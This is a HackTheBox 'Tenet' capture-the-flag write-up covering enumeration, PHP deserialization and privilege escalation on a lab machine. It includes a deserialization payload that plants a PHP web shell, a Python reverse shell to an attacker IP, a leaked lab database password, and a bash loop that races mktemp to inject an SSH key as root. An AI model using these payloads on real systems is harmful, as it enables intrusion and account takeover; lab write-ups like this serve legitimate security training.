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https://github.com/AbdullahRizwan101/CTF-Writeups
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290 lines
No EOL
12 KiB
Markdown
290 lines
No EOL
12 KiB
Markdown
# HackTheBox-Tenet
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## Rustscan
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```bash
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rustscan -a 10.10.10.223 -- -A -sC -sV
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.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
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| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
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| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
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`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
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The Modern Day Port Scanner.
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________________________________________
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: https://discord.gg/GFrQsGy :
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: https://github.com/RustScan/RustScan :
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--------------------------------------
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Nmap? More like slowmap.🐢
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[~] The config file is expected to be at "/root/.rustscan.toml"
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[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
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[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
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Open 10.10.10.223:22
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Open 10.10.10.223:80
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PORT STATE SERVICE REASON VERSION
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22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
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| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA4SymrtoAxhSnm6gIUPFcp1VhjoVue64X4LIvoYolM5BQPblUj2aezdd9aRI227jVzfkOD4Kg3OW2yT5uxFljn7q/Mh5/muGvUNA+nNO6pC
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C0tZPoPEwMT+QvR3XyQXxbP6povh4GISBySLw/DFQoG3A2t80Giyq5Q7P+1LH1f/m63DyiNXOPS8fNBPz59BDEgC9jJ5Lu2DTu8ko1xE/85MLYyBKRSFHEkqagRXIYUwVQASHgo3OoJ+VAcBTJZH
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1TmXDc4c6W0hIPpQW5dyvj3tdjKjlIkw6dH2at9NL3gnTP5xnsoiOu0dyofm2L5fvBpzvOzUnQ2rps2wANTZwZ
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| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
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| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLMM1BQpjspHo9teJwTFZntx+nxj8D51/Nu0nI3atUpyPg/bXlNYi26boH8zYTrC6fWepgaG2G
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ZigAqxN4yuwgo=
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| 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
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|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMQeNqzXOE6aVR3ulHIyB8EGf1ZaUSCNuou5+cgmNXvt
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80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
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| http-methods:
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|_ Supported Methods: POST OPTIONS HEAD GET
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|_http-server-header: Apache/2.4.29 (Ubuntu)
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|_http-title: Apache2 Ubuntu Default Page: It works
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Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
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```
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## PORT 80 (HTTP)
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Visting the web page it shows default apache web page
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<img src="https://imgur.com/1BwN4Vw.png"/>
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Running `dirsearch`
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<img src="https://imgur.com/A8dchV2.png"/>
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Now this doesn't loads css so looking at the source it shows the there's a domain
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`tenet.htb`
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<img src="https://imgur.com/9bNBTYF.png"/>
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Adding this to `/etc/hosts` file
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<img src="https://imgur.com/CNaC6lG.png"/>
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We can see some posts on the main page
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<img src="https://imgur.com/ulTFVaT.png"/>
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```python
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We’re looking for beta testers of our new time-management software, ‘Rotas’
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‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you!
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For more information regarding opting-in, watch this space.
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Published December 16, 2020 By [protagonist]
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```
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```python
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We’re moving our data over from a flat file structure to something a bit more substantial. Please bear with us whilst we get one of our devs on the migration, which shouldn’t take too long.
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Thank you for your patience
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Published December 16, 2020 By [protagonist]
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```
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This post had a comment
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```python
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[neil]
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[December 16, 2020 at 2:53 pm]
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did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
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```
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So we have some information that there are two users neil and protagonist also there's a php file and backup folder
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We could have alternatively done this through `wpscan`
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<img src="https://imgur.com/TzKJB9m.png"/>
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<img src="https://imgur.com/ybgIadt.png"/>
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I tried bruteforcing through wpscan but it didn't found any password
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<img src="https://imgur.com/0l3BEjI.png"/>
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Going back to that apache default page I tried to include `sator.php` and got something
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<img src="https://imgur.com/fQuryJK.png"/>
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If we focus on the comment which was made on the post "the sator php file and the backup"
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<img src="https://imgur.com/cAQhHjp.png"/>
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We will get a backup file for `staor.php`
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```php
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<?php
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class DatabaseExport
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{
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public $user_file = 'users.txt';
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public $data = '';
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public function update_db()
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{
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echo '[+] Grabbing users from text file <br>';
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$this-> data = 'Success';
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}
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public function __destruct()
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{
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file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
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echo '[] Database updated <br>';
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// echo 'Gotta get this working properly...';
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}
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}
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$input = $_GET['arepo'] ?? '';
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$databaseupdate = unserialize($input);
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$app = new DatabaseExport;
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$app -> update_db();
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?>
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```
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## PHP Deserlization attack
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We can see here that there's a class `DatabaseExport` in which there are two public variables `user_file` and `data` and in this class there's a public function called `update_db()` which will set the `data` variable to "sucess" which is just a text as you can see from the sator.php show on the web browser at the end there's a magic function `__destruct()` which will be automatcially called when an object is destroyed , there the `user_file` will be made with the contents from `data` and will put in the web directory which means users.txt will be created in the web directory having the data "success".
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At the end we can the `GET` parameter `arepo` , now here exists a vulnerability which is known as** PHP Deserilization**
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So to exploit this we have to modify the class variables in this case `user_file` and `data` and seriliaze it , once we get the serliazed string we pass it to `arepo` paramter.
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<img src="https://imgur.com/xzxCRzb.png"/>
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After running it we will get a php serialized object
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<img src="https://imgur.com/Ocvi0RZ.png"/>
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But we need to pass this to GET paramter in a url encoded form so I used cyberchef to do that
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<img src="https://imgur.com/I7LmXV9.png"/>
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And then paste into the GET parameter
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```bash
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http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:%7Bs:9:%22user_file%22;s:9:%22shell.php%22;s:4:%22data%22;s:29:%22%3C?php%20system($_GET%5B%22cmd%22%5D);?%3E%22;%7D
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```
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<img src="https://imgur.com/ki71f7v.png"/>
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We can see the message "Database updated" so let's see if `shell.php` was made on the web directory or not.
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<img src="https://imgur.com/sPf3gtb.png"/>
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<img src="https://imgur.com/4Dhsv2O.png"/>
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And we have a rce, cool !
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<img src="https://imgur.com/RoxtkbY.png"/>
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Python3 is installed so we can get a reverse shell through it
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```bash
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http://10.10.10.223/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.198",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
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```
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<img src="https://imgur.com/FcVsPg7.png"/>
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Stabilize the shell
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<img src="https://imgur.com/BYOLfZh.png"/>
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Let's check the cron jobs
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<img src="https://imgur.com/lIXXkhj.png"/>
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Open ports
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<img src="https://imgur.com/zvjHcgZ.png"/>
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## Escalating to user
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We see mysql running on localhost so we can try to find creds for mysql and since wordpress is hosted the creds are in `wp-config.php` file
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<img src="https://i.imgur.com/15rWkzs.png"/>
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<img src="https://i.imgur.com/eARb5sw.png"/>
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```bash
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/** MySQL database username */
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define( 'DB_USER', 'neil' );
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/** MySQL database password */
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define( 'DB_PASSWORD', 'Opera2112' );
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/** MySQL hostname */
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define( 'DB_HOST', 'localhost' );
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```
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The db user is `neil` so this is interesting as neil is also the user on the linux machine so let's try this password
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<img src="https://imgur.com/OmukzXa.png"/>
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## Privilege Escalation
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Doing `sudo -l` we can see what we run as sudo
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<img src="https://imgur.com/SMnKeWi.png"/>
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Reading the contents of the bash script
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<img src="https://imgur.com/d9GYJuC.png"/>
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Here these functions are not that interesting , if we go to the bottom
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<img src="https://imgur.com/PHw2PuG.png"/>
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We can see a function `addkey()` in which a temporary file is being made with command `mktemp`
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<img src="https://imgur.com/FeDoFlb.png"/>
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If we run this command on our local machine to see what file name it generates we can see that the file name it's pretty unique everytime this command runs
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<img src="https://imgur.com/i58Yvuk.png"/>
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On the target machine it also generates a random name
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<img src="https://imgur.com/P0CcQis.png"/>
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In the script that file is being removed but that's the file need to put in our ssh public key so we need to run a loop in which we try to put our public key in every file that starts with `ssh` so we have to utilize wildcard here ( * )
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So our one liner script should look like this
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```bash
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while true; do var=$(ls /tmp |grep ssh);echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzKK/Hru6t4lA0tu4CX8E3BzkM8Bl7cFxyheVBHZS+flyqq
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/sZuRfPHCQE2LNL5IgRfHDljFO4MuiYJgrMr8jCA+stDBxGAhCiRZ4UmZ7OYn1abGGOmtUyaCYvJp3pizvcyVIJsNBQBSk1JETfopgKCydtXfbXYF8kukjM29AVbIoD99UAmo8Qm1RDv+cguO+0q
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Tg1vHMErURIyM/P3fhNakGL2F1/rENpvqB7EK06N6KYLujCf9Y87slTCU33gHoo5iG5mX5JFi2pBhWJnOQECjaeEsTjvKKvgIX7wy14b3I4b7fLstsXg69CCE9KF5Zr1uWYP0JGG1pB0OrDH4LPj
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MRxDALCKMnA4F8OrSmTzfgWJ9LhxxFHh73ExsfGJYypBuSOxh+4UBSuF5znPbJo315Qd05LEcpCAv623vqjsUDQUEMeJVz0NiWkGCuJIxt+YTGinB9hDj58seHsI4yMZe5HtY5cQJLR09/fVoGPi
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ebD/lFk68jQFonJs73NlPE= root@kali' | tee $var ;done
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```
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We are running a while loop infinite number of times and in there we have a variable which is grabbing the name of the random generated ssh file , next we are printing our public ssh key and piping it to that file and logging it with the help of `tee`
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So first I will run the `enableSSH` script
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<img src="https://imgur.com/eBO3wUh.png"/>
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Then will run my one liner bash script
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<img src="https://imgur.com/D1QqNcr.png"/>
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<img src="https://imgur.com/7GYp5XO.png"/>
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After running it for some time and terminated both the scripts and in the `/tmp` folder you will see those randomly generated ssh file , some of them will have no content as the temp file gets deleted.
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<img src='https://imgur.com/xmwmftp.png'/>
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Try to ssh in the target machine using ssh private key
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<img src="https://imgur.com/LEojPH6.png"/> |